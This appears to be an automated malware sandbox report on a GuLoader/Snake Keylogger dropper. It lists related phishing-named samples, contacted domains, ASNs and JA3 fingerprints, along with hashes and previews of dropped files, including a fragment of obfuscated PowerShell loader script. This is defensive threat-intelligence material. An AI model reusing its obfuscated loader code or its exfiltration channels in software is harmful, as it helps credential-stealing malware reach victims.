	PaymentXConfirmationXcopy.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	RFQ 1307.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	mnobizx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rcota____oRFQNO-N__merodopedido106673.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	z547GEViTFyfCZdLZP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
smtp.ionos.es	Snvlerier.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	Snvlerier.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.102
	Contrato de Cesin de Crditos Sin Recurso.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	r8x1WvSkbWSUjXh6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.102
	ZcH50SI4q45Dtpf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.118
	LisectAVT_2403002A_257.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.102
	USyhqVZT33vX26Y.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.118
	60yQVZ67vj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	213.165.67.102
	JUSTIFICANTE PAGO FACTURA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	213.165.67.118
	Nowe zam#U00f3wienie nr 201030019.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.102
checkip.dyndns.com	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	z547GEViTFyfCZdLZP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
api.telegram.org	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	BA4M310209H14956.xls	Get hash	malicious	Remcos	Browse	188.114.96.3
	https://email.mail.customfeedback.com/c/eJyUkD-P1TAQxD9N3J2VXXuduHDxDpEGiQpE7T_rS_QS-8kxF45Pjw5EQ0c7oxnNb6I_Hn57KZ_4zSlEg2SizkA0WtbGjsF6M4G2SGHChMFrYhFr6T729wz6NOfRayKLZCipOVACmgA4mEwhEHnFbEVykCcMs2AHE1oCrQBF3trZP_uD3a0kbmctItd2-Za-cVhrvX9tu1t7f5yDug24DLj0WvdThra9rH2v0e8y1mPA5eT69NsbcPHp2MqAy1-6d-36U_j0imJ1SUcVQFkMMSitNMCkxpR4jhBtVFpsDkfUMCIAqlmhBPnxtujnDzdSSPoZLA16PPy2y_j97PXIzCn4eH9fI-7_88y_gHkrvkTeSq7yJyh5cZCxNpbXVlK9Tlm4D7iIw01GkxoBxKPVH29f6p2Lm2adApjs7az0FDRE8Hkeo9ETc4qzNqPxRFk0F9e2nb0-Vm7S77svgx7bo1XZOa7i1eGvAAAA__9cb6ca	Get hash	malicious	Unknown	Browse	104.16.20.118
	BL Packing List & Invoice.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	ProformaInvoice.xls	Get hash	malicious	PureLog Stealer	Browse	188.114.96.3
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://link.edgepilot.com/s/a87a8c67/R8ziiM5L9EqrFhZqAjyPWg?u=https://debbydollar.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	FZCO - PO#12345.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
ONEANDONE-ASBrauerstrasse48DE	Invoice.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.158
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	212.227.7.42
	Request for 30 Downpayment.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.93
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	212.227.138.124
	yakuza.m68k.elf	Get hash	malicious	Unknown	Browse	74.208.123.157
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	217.160.111.108
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse	217.160.0.215
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse	217.160.0.215
	EMnyl2klUV.elf	Get hash	malicious	Mirai	Browse	217.160.45.92
	4ui8luUSNp.exe	Get hash	malicious	Coinhive, Xmrig	Browse	212.227.15.41
ORACLE-BMC-31898US	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	PaymentXConfirmationXcopy.xls	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	SUAlTWPjKQ.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	z547GEViTFyfCZdLZP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Musterino_94372478_Ekno_21_20241024761_ekstre.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6 654398.vbs	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.220
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Massageapparater.vbs	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.220
	FZCO - PO#12345.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ref#150689.vbe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MEC20241022001.bat	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	6 654398.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.174 142.250.186.65
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.174 142.250.186.65
	Massageapparater.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.174 142.250.186.65
	phc.exe	Get hash	malicious	Unknown	Browse	142.250.185.174 142.250.186.65
	phc.exe	Get hash	malicious	Unknown	Browse	142.250.185.174 142.250.186.65
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.174 142.250.186.65
	Fignen234.exe	Get hash	malicious	GuLoader	Browse	142.250.185.174 142.250.186.65
	Fignen234.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.174 142.250.186.65
	MEC20241022001.bat	Get hash	malicious	Remcos, GuLoader	Browse	142.250.185.174 142.250.186.65
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	142.250.185.174 142.250.186.65

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14744
Entropy (8bit):	4.992175361088568
Encrypted:	false
SSDEEP:	384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA
MD5:	A35685B2B980F4BD3C6FD278EA661412
SHA1:	59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062
SHA-256:	3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930
SHA-512:	70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k2m4ibxf.4lq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rffvel3l.nur.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmdalg0o.rwe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3dfwlvy.5b5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	ASCII text, with very long lines (3437), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	55452
Entropy (8bit):	5.30644161671957
Encrypted:	false
SSDEEP:	1536:L3ZsYDoSFyAkhotYr3XpNhdrWlR7uDZy4k:DiYMSFyVoANpy4k
MD5:	0D2CE39822E9236A380F4D1D53550E93
SHA1:	8381B0E62708112DBFBED036650BF0667EC4476B
SHA-256:	ED34DB2A55A35C90B524D2448353EB73D28DA7D7FF401477165C226FF25DE9AF
SHA-512:	F365BB861DB3FC6D29736B3F8C0377BB4F8318FFF94BC96033AE208760082B529B8AEA4CF79DE9EFA3608C79AC91FE57E19F26959831F621BBA8816E1013AFC3
Malicious:	true
Preview:	$Spales=$Undiluvian;..<#Standpunkts Smpistolers Beatgruppes #>..<#Bytime Stirk Sexfilmene Vermifuges Charquis Sintering #>..<#Djrvheders riksmal Ihjel Kartotekspostens Ligitimizing #>..<#Blennometritis Legalt Angrebsraketter Sabbathvilen #>..<#Margritt Tilsendelse Somnopathy Lderingerne Harmoni Tilsnigelsen #>..<#Dolichosauria Valm Interestless Chartered #>...$Frumps = @'.Lempn.Extra$Bec.rehom,laAftal=T,ckn$ Vi,iVMi.anaG.rkelT nsmgWudgekAmerioUdraan KystgDisc eFrancdVggelmf rsvmGasmeeSpindr.nfors ,norePole hBinyraPseudnCreeddUltralDisseelirkslOmsteiRykkeg BarmeAcros; Ve.e.Footbf Ru buVankenEarthceucattUkuleiBeamio CondnFrem A.pelPsvaneaSomallAvl,dm Gas,eUpc.ubProjelBanelaMuskldparapsSirentGrypha xpegchar,eB ttlt psedsInfor rbdig(Arves$ sculB arledTeet eSkrmpfYnkvro SarcrEkspoeUnfaklLiquegCortigSelvmeAerodt Tick2derat1Under5Lo el,Nosk $ agsiVHer taCackllInklug AplokS oleo orlnVandugDefoae womadPlanem VddemIngereSparar,fnaksSemic)Barba Ke a{Fri.i. rhve.C ose$TeddyARe urg N ber UninaW

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	891148
Entropy (8bit):	7.7193229791674485
Encrypted:	false
SSDEEP:	24576:/75JHVcDo1hTW+VeQ9Ke+alCJmvulW6Nd0vd:jDHVUW/VrKe+m7mwMAd
MD5:	A1E239C4D5116E289CE0597A92844EDE
SHA1:	4562D452CCC32512291C3165A0B9B3C076B28094
SHA-256:	1E507FEBDD48A2BF2429C8011BD5CBC5C7B018207BDAEC87665B8B51FA13D904
SHA-512:	500DDCDC2F1E3CA0DA0A43006B99C6E78697433FC0757D25DDFF94190DD2D725799FAF267EFDFACDEF758E9024591368454F14025662CC6A1309BCE7863494D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L....{.W.................`...\|.......1.......p....@.......................................@.................................4u....... ..X............................................................................p...............................text...._.......`.................. ..`.rdata..R....p.......d..............@..@.data....T...........x..............@....ndata...0...............................rsrc...X.... .......~..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\aktivitetsrunde.txt

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	ASCII text, with very long lines (360), with CRLF line terminators
Category:	dropped
Size (bytes):	362
Entropy (8bit):	4.295609901239941
Encrypted:	false
SSDEEP:	6:OV0mI/AA3CU6sDq6ry0bxmAOvFz0/TWEMsesxM7JXZO:OVcAV6yw3Ovx0/q3shK7Js
MD5:	A47DE65B255D62E154E75208730B37D2
SHA1:	9AD95C489EABDBCD12C02CD312C85D0C73A565F7
SHA-256:	1527C27BE377FB2EFDB75E64EF88FEE6B879712DEC1AE6E8CCA4E66188099784
SHA-512:	206FB780CA6A6BEA7B1DA2AAD8D1E8C38331AE5A03CC82FC181A6E13234DC4523033AA775A3F15C261FEC74910ECAF622ABAC99444E8DAA8B63EC35379FBE29A
Malicious:	false
Preview:	beboere sletteprogrammerne afbrndtes untruthfulness,methanolysis blokniveauets tegnbaseret keisar arbejdsmndene rger,lsenets quindecimvir complexify hundevagten cymblernes.cressier immediate batchkrslerne antisepalous cryptonymic pings,pampination spytkirtlen vandranunkel stormmaage,diversificer udtalendes attributgrammatiks snedkeris sati frailejon rvturene..

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\discourteously.gam

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	339224
Entropy (8bit):	3.2329059465811363
Encrypted:	false
SSDEEP:	3072:TlwUufGWwltoSeWq5Xck5tiy5ScV95Cca+8aB5p0jsDytfuWoaP/ZTf:x3W045X/5tiyB8faB5p4sD22uN
MD5:	2AFAF6367CF5833A8885999FEFA5B44A
SHA1:	58EDFAC56FD3BDA98CAD7F2A784F58CF0CCCA5A9
SHA-256:	66D0440913A064549BF52DD102475A422A55A0A1A99A38C0445CCF84EB98C074
SHA-512:	A769F552CD91CE7163FE25C6E785D3A225979A9E50805F031C05E52CF5F82FB1E582FE621C947C7B0709F9E627C6CF318CF899CA97CC2BC4A3D934B94C2279A4
Malicious:	false
Preview:	........5M.....]...................[8...........t...........j.kKk.............Y.3.-.........u.....'.......<..............0..............-.....m....q.%.........S....F......6.............M.C.z.........m.\|..............m...].-..<.......0.............o......QL....x....... ..........p.........?.'.a........:.........K............................#............Z).......$......................................9......................_u...1...S>............................c....K\......l.......z............%..(..........8...........z.........\....$......._.g...........v.....{R..............;.............R........1........:...Q...........W..W....................................F .....-...b..F........G...,CH......}...D....b...........9...8...q......Y....R..............................................<..............=...~................. ...........u.......T...B..............i............`....r...........R..............1.2........................../....#.......b.............;...............-..+

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\psychograph.rut

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	data
Category:	dropped
Size (bytes):	91155
Entropy (8bit):	3.2484639775571122
Encrypted:	false
SSDEEP:	768:sx0eYUpSjZTH4Refp/ZwLfKCGhiKveAC4LjJNV8RHwnx/F0H0jbPYER9RLXLxFJi:8UhyD9meQZFRRbLXdDRseVQq4
MD5:	55DD84338306B8F361571D07E3D03F25
SHA1:	5F086147B0ED6D4CBE40B6F81C1003EB07714B94
SHA-256:	016DE5BD5CEBA70CD0041265F69BE3BB6FF54D3DCA19340ED44DC15317066E45
SHA-512:	045E39931094C1D423D69C4BEF750CACF56E0DEF562162211F51F1B5E0C3E265ACEDE7FC06979CFCE68762A99180317419685E5542D3E44882B11116D1EE7FE8
Malicious:	false
Preview:	....7.................3.........}.......Q.....................~........y.........u...4...bp..o......z.......................................................k.............Tg.....`..Q.........<........A........f.....X..."..............^.........@....\|..........................h....X..................1.......zh...........3..>..)...Y....:.................GG.....+F#...z.~.....!....................:..............(.................Y....7.......5..^..{.......D...`................O..............z#..............4$...a..............o....................c..s.......=......^..~..................................B....o.......................................l:...........*Y..i.".C..i............_.........).....-...............\|P.......b......h....~.....w+....................-....1.......<...6.........b.".@...................1...P....s..h9.......l........H..................k...e........<.......f...;...............m....W...........h.g.%...........-........."..................S......F.....e........

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\strudsfjerenes.uns

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	data
Category:	dropped
Size (bytes):	411197
Entropy (8bit):	3.2412073600303604
Encrypted:	false
SSDEEP:	6144:QuopzWTN5dkmo9X81LoYHLr0FJfFYcRQOD:KkxkfDEC
MD5:	9548F6F7A71852794789DE0AC5FDE451
SHA1:	74C915E2C9C110929FD87C907BE17930B0B66B24
SHA-256:	2D3371072047972236B2BAD7280E34BA1FD041C99CD132BC0E1DD767D0AFC471
